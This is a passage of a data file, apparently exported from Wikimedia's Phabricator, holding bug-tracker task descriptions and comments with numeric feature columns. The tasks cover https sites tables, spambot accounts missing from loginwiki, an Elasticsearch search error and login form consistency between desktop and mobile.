+#patch-for-review",,,1424453783,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qbshbehein52p2zqz2n5,task_subcomment,,True,c3,1,False,,,-19,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+85754,Convert all `sites` tables to use https URLs,"With the relative URLs we have right now MediaWiki (Http::get) will default to http which in turn will break for https only hosts (like ruwikinews).
+
+
+See also: https://www.wikidata.org/wiki/Wikidata:Project_chat#Bug_when_adding_links_to_Wikinews",Medium,50.0,1420367424,1427385822.0,PHID-USER-2mey32xhshfnf7rz7jjn,False,PHID-USER-2mey32xhshfnf7rz7jjn,False,PHID-TASK-42upiw7xulyls7arvgav,task_description,declined,True,c3,1,True,True,True,-26,True,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0
+433361,Convert all `sites` tables to use https URLs,This will make https only URLs show up in the SiteLinksView and we don't want this. The real solution is to change sites to https whenever they are actually being changed to it.,,,1427385822,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-42upiw7xulyls7arvgav,task_subcomment,,True,c3,1,True,,,-14,True,0,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+398894,Convert all `sites` tables to use https URLs,Example from original report: https://www.wikidata.org/wiki/Q18636241,,,1421157808,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-42upiw7xulyls7arvgav,task_subcomment,,True,c3,1,True,,,-25,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+398824,Convert all `sites` tables to use https URLs,"The only problem we had was that URLs in the sitelink view (on repo) suddenly became https (instead of protocol relative), that could pose a problem for users that aren't able to use https.
+Because of this only the sites table entry for ruwikinews on Wikidata has https urls, all other remain protocol-relative (I changed that per hand :/).",,,1421148883,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-42upiw7xulyls7arvgav,task_subcomment,,True,c3,1,True,,,-25,True,1,0,0,0,1,1,1,1,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+398822,Convert all `sites` tables to use https URLs,"The original problem was that it did choke on the redirect from http to https instead of following it. Which is probably OK for this use case.
+
+Using https URLs will work for all Wikimedia wikis. I heard this had the effect that the links in the sidebar would also become https instead of protocol relative, but this is not the case for ru.wikinews.org. Why did we not force https for all interwikis then?
+
+Should we change the default for Http::get for protocol relative to https?
+
+For those projects that were not switched to https only using the protocol relative URL in the sidebar would be the correct behavior. For https only wikis that would also be acceptable although https would be preferable over protocol relative.",,,1421148150,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-42upiw7xulyls7arvgav,task_subcomment,,True,c3,1,True,,,-25,True,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,1,1,1,0,0,0,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,1
+396108,Convert all `sites` tables to use https URLs,We manually switched over the ruwikinews entry to https on wikidatawiki now. Everything else (also all other wikis) stayed unaltered.,,,1420632531,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-42upiw7xulyls7arvgav,task_subcomment,,True,c3,1,True,,,-26,True,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+85703,New user account creations (mostly spambots) not logged in loginwiki,"(Apologize if duplicate)
+For some time now, the spammers in small wikis are not logged in loginwiki. As a result, checkusers could not easily check those accounts.
+
+For example, most of the locally created account below are spambots, and not logged in loginwiki
+
+https://id.wikisource.org/wiki/Istimewa:Catatan/newusers?uselang=en
+https://id.wikisource.org/w/index.php?namespace=2&tagfilter=&title=Istimewa%3APerubahan+terbaru",Medium,50.0,1420218425,1436224316.0,PHID-USER-plwc6itr3olxhzrq4uph,False,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-TASK-mpjcsxrquz63qyzsqnf3,task_description,resolved,True,c3,1,False,False,True,-26,True,1,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0
+487554,New user account creations (mostly spambots) not logged in loginwiki,"Change 220970 merged by jenkins-bot:
+Autocreate accounts on meta, mediawiki.org, loginwiki
+
+[[https://gerrit.wikimedia.org/r/220970]]",,,1436223921,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mpjcsxrquz63qyzsqnf3,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+482006,New user account creations (mostly spambots) not logged in loginwiki,"Change 220970 had a related patch set uploaded (by Gergő Tisza):
+Autocreate local versions of global accounts on meta, mw.o
+
+[[https://gerrit.wikimedia.org/r/220970]]
+",,,1435265864,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mpjcsxrquz63qyzsqnf3,task_subcomment,,True,c3,2,False,,,-1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+481940,New user account creations (mostly spambots) not logged in loginwiki,"* https://gerrit.wikimedia.org/r/204059 (branch master): #mw1.26wmf12
+",,,1435262478,,PHID-USER-n4kveqwjjlpsb6ydn73h,False,,,PHID-TASK-mpjcsxrquz63qyzsqnf3,task_subcomment,,True,c3,2,False,,,-1,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+481883,New user account creations (mostly spambots) not logged in loginwiki,"Change 204059 merged by jenkins-bot:
+Autocreate some local accounts when global account is created
+
+[[https://gerrit.wikimedia.org/r/204059]]",,,1435258317,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mpjcsxrquz63qyzsqnf3,task_subcomment,,True,c3,2,False,,,-1,True,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1
+444018,New user account creations (mostly spambots) not logged in loginwiki,"Change 204059 had a related patch set uploaded (by Glaisher):
+Autocreate some local accounts when global account is created
+
+[[https://gerrit.wikimedia.org/r/204059]]
+",,,1429103475,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mpjcsxrquz63qyzsqnf3,task_subcomment,,True,c3,1,False,,,-12,True,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,1
+395101,New user account creations (mostly spambots) not logged in loginwiki,Ah. Thanks for clarifying and sorry.,,,1420421311,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-mpjcsxrquz63qyzsqnf3,task_subcomment,,True,c3,1,True,,,-26,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+395015,New user account creations (mostly spambots) not logged in loginwiki,">>! In T85703#953832, @Aklapper wrote:
+> This has presumably been fixed by https://gerrit.wikimedia.org/r/182560. The fix will be part of 1.25wmf14. See https://www.mediawiki.org/wiki/MediaWiki_1.25/Roadmap for availability dates.
+> If you have reasons to think that the patch did not fix this, please elaborate on the reasons.
+
+The patch was linked with this change only by error, the patch actually was about T61707.",,,1420374330,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-mpjcsxrquz63qyzsqnf3,task_subcomment,,True,c3,1,True,,,-26,True,0,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,1,1,0,1,1,1,0,0,1,1,1,0,0,0,0,0,0,1
+395013,New user account creations (mostly spambots) not logged in loginwiki,no... see comment above.. these offtopic comments probably need to be removed to remove confusion.. sorry for the mess,,,1420374201,,PHID-USER-lsveyqlsb4acoowxr5yj,False,,,PHID-TASK-mpjcsxrquz63qyzsqnf3,task_subcomment,,True,c3,1,True,,,-26,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+395010,New user account creations (mostly spambots) not logged in loginwiki,"This has presumably been fixed by https://gerrit.wikimedia.org/r/182560. The fix will be part of 1.25wmf14. See https://www.mediawiki.org/wiki/MediaWiki_1.25/Roadmap for availability dates.
+If you have reasons to think that the patch did not fix this, please elaborate on the reasons.",,,1420374071,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-mpjcsxrquz63qyzsqnf3,task_subcomment,,True,c3,1,True,,,-26,True,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+394977,New user account creations (mostly spambots) not logged in loginwiki,again..,,,1420344576,,PHID-USER-lsveyqlsb4acoowxr5yj,False,,,PHID-TASK-mpjcsxrquz63qyzsqnf3,task_subcomment,,True,c3,1,True,,,-26,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+394975,New user account creations (mostly spambots) not logged in loginwiki,"Change 182560 merged by jenkins-bot:
+Link to wikiset ID on Special:GlobalGroupPermissions
+
+[[https://gerrit.wikimedia.org/r/182560]]",,,1420344410,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mpjcsxrquz63qyzsqnf3,task_subcomment,,True,c3,1,False,,,-26,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+394974,New user account creations (mostly spambots) not logged in loginwiki,"Change 182560 had a related patch set uploaded (by Glaisher):
+Link to wikiset ID on Special:GlobalGroupPermissions
+
+[[https://gerrit.wikimedia.org/r/182560]]
+
+#patch-for-review",,,1420344268,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mpjcsxrquz63qyzsqnf3,task_subcomment,,True,c3,1,False,,,-26,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+394862,New user account creations (mostly spambots) not logged in loginwiki,">>! In T85703#952707, @Aklapper wrote:
+> @Bennylin: Which other ""small wikis"" are you aware of that are affected?
+
+It happens on all wikis, not just small ones, see for example: https://meta.wikimedia.org/wiki/Special:CentralAuth/LeonidaMcAdams. And while it mostly contains spambots, I've also seen 'real' users. As Glaisher points out, this happens since loginwiki was created. We (as stewards) reported it multiple times, from the early stage on, but not officially on bugzilla. Only via email etc. Maybe this bug helps to finally solve the problem.",,,1420284878,,PHID-USER-b7pgokfca76dam7jq5qd,False,,,PHID-TASK-mpjcsxrquz63qyzsqnf3,task_subcomment,,True,c3,1,False,,,-26,True,1,0,0,1,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,1
+394855,New user account creations (mostly spambots) not logged in loginwiki,"I just created account ""TTO test id.ws2"" on Indonesian Wikisource using the API. After doing that (without logging in), Special:CentralAuth for this user only showed an entry for id.wikisource.org. 
+
+I then logged into this account via the API - still no auto-creation on loginwiki (or any other wikis). The global account still only existed on id.wikisource.org. 
+
+I then logged into the account using Special:UserLogin, and lo and behold, an account was auto-created on loginwiki and enwikisource. 
+
+So I guess this is API-specific, and that these spambots are using the API. (I mean, why wouldn't they? We've made their life a lot easier by offering a ""createaccount"" API action...)",,,1420279267,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-mpjcsxrquz63qyzsqnf3,task_subcomment,,True,c3,1,True,,,-26,True,1,0,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,0
+394842,New user account creations (mostly spambots) not logged in loginwiki,">>! In T85703#952983, @gerritbot wrote:
+> Change 182560 had a related patch set uploaded (by Glaisher):
+> Link to wikiset ID on Special:GlobalGroupPermissions
+> 
+> [[https://gerrit.wikimedia.org/r/182560]]
+
+...wrong task",,,1420266755,,PHID-USER-lsveyqlsb4acoowxr5yj,False,,,PHID-TASK-mpjcsxrquz63qyzsqnf3,task_subcomment,,True,c3,1,True,,,-26,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,1,0,1,0,0,1,1,0,0,1,0,1,0,1,0,0,0,0,1
+394838,New user account creations (mostly spambots) not logged in loginwiki,"Change 182560 had a related patch set uploaded (by Glaisher):
+Link to wikiset ID on Special:GlobalGroupPermissions
+
+[[https://gerrit.wikimedia.org/r/182560]]
+
+#patch-for-review",,,1420266044,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mpjcsxrquz63qyzsqnf3,task_subcomment,,True,c3,1,False,,,-26,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+394798,New user account creations (mostly spambots) not logged in loginwiki,"On top of my head:
+
+id.wikisource
+id.wiktionary
+id.wikibooks
+id.wikiquote
+
+I've made a list in checkuserwiki: [[User:Bennylin/Spambots_on_Indonesian_wikis]]",,,1420223438,,PHID-USER-plwc6itr3olxhzrq4uph,False,,,PHID-TASK-mpjcsxrquz63qyzsqnf3,task_subcomment,,True,c3,1,False,,,-26,True,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1
+394790,New user account creations (mostly spambots) not logged in loginwiki,"I don't think is a ""for some time now"" issue. I've seen many bot accounts with no account on loginwiki ever since loginwiki's creation",,,1420220670,,PHID-USER-lsveyqlsb4acoowxr5yj,False,,,PHID-TASK-mpjcsxrquz63qyzsqnf3,task_subcomment,,True,c3,1,True,,,-26,True,1,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0
+394789,New user account creations (mostly spambots) not logged in loginwiki,"@Bennylin: Which other ""small wikis"" are you aware of that are affected?",,,1420220564,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-mpjcsxrquz63qyzsqnf3,task_subcomment,,True,c3,1,True,,,-26,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0
+85505,HTTPFutureHTTPResponseStatus when searching for unindexed document types,"I don't think we're actually planning on using them so this is probably very low priority for us, but I found that searching for only the ""Initiative"" document type (which appears like these: https://secure.phabricator.com/I1 https://secure.phabricator.com/I2) returns this error:
+
+HTTPFutureHTTPResponseStatus
+[HTTP/400] 
+{""error"":""SearchPhaseExecutionException[Failed to execute phase [query], all shards failed; shardFailures {[i5bA3UBCTgC2Bmr1Px8aYQ][phabricatormain][0]: RemoteTransportException[[elastic1031][inet[/10.64.48.55:9300]][search/phase/query]]; nested: SearchParseException[[phabricatormain][0]: from[-1],size[-1]: Parse Failure [Failed to parse source [{\""sort\"":[{\""dateCreated\"":\""desc\""}],\""from\"":0,\""size\"":101}]]]; nested: SearchParseException[[phabricatormain][0]: from[-1],size[-1]: Parse Failure [No mapping ...
+",Medium,50.0,1419911146,1420627338.0,PHID-USER-x7ti5ksby4ubsabntlxa,False,PHID-USER-lluzkul4z7us4sxkayss,False,PHID-TASK-glodozqcbzdaidvowslq,task_description,resolved,True,c3,1,True,False,True,-27,True,1,0,1,0,1,1,0,0,0,0,0,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,0,1,1,0,0,1
+396088,HTTPFutureHTTPResponseStatus when searching for unindexed document types,"Merged upstream, is this to be closed now?",,,1420626873,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-glodozqcbzdaidvowslq,task_subcomment,,True,c3,1,True,,,-26,True,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0
+393948,HTTPFutureHTTPResponseStatus when searching for unindexed document types,[[ https://secure.phabricator.com/D11056 | Patch upstream ]],,,1419918166,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-glodozqcbzdaidvowslq,task_subcomment,,True,c3,1,True,,,-27,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+393945,HTTPFutureHTTPResponseStatus when searching for unindexed document types,"This is more general than initially reported. Widened summary and claiming. I think the best way to do it will be to expand the mapping created at initialization so we've got a complete document structure for querying.
+
+Other option would be to just hide the document type when there are none but that feels more hacky and less likely to be accepted upstream.",,,1419917244,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-glodozqcbzdaidvowslq,task_subcomment,,True,c3,1,True,,,-27,True,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,1,0,1,0,0,1,0,1,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,1,0
+393938,HTTPFutureHTTPResponseStatus when searching for unindexed document types,[[ /search/query/OD5hAu9yZJRY/#R | Confirmed ]]. Should be pretty easy to fix.,,,1419915719,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-glodozqcbzdaidvowslq,task_subcomment,,True,c3,1,True,,,-27,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+85189,Login form password reset and account creation form inconsistent between desktop and mobile,"On the desktop login form password reset is above the password input
+On mobile the password reset form is below the form
+
+On the desktop login form the account creation button is a neutral mw-ui-button
+On the mobile login form the account creation button is a link
+
+Let's consolidate these so that mobile doesn't have to hijack the login page.
+",Medium,50.0,1419297091,1419420221.0,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-hzukwbliogperntszdaz,task_description,resolved,True,c3,1,True,False,True,-28,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+392702,Login form password reset and account creation form inconsistent between desktop and mobile,"Change 181529 merged by jenkins-bot:
+Consolidate mobile and desktop designs for login form
+
+[[https://gerrit.wikimedia.org/r/181529]]",,,1419420503,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hzukwbliogperntszdaz,task_subcomment,,True,c3,1,False,,,-28,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+392591,Login form password reset and account creation form inconsistent between desktop and mobile,Running the above screenshots past design.,,,1419371256,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-hzukwbliogperntszdaz,task_subcomment,,True,c3,1,True,,,-28,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0
+392589,Login form password reset and account creation form inconsistent between desktop and mobile,"See also mobile view: {F25007}
+(Goal is to upstream media query rules to mediawiki core so the design looks better on smaller screens
+",,,1419371193,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-hzukwbliogperntszdaz,task_subcomment,,True,c3,1,True,,,-28,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0
+392394,Login form password reset and account creation form inconsistent between desktop and mobile,"| Before | After (https://gerrit.wikimedia.org/r/181529) |
+|-----------|---------|
+| {F24483,size=full} | {F24496,size=full} |
+",,,1419339151,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-hzukwbliogperntszdaz,task_subcomment,,True,c3,1,True,,,-28,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+392311,Login form password reset and account creation form inconsistent between desktop and mobile,"Change 181529 had a related patch set uploaded (by Jdlrobson):
+Consolidate mobile and desktop designs
+
+[[https://gerrit.wikimedia.org/r/181529]]
+
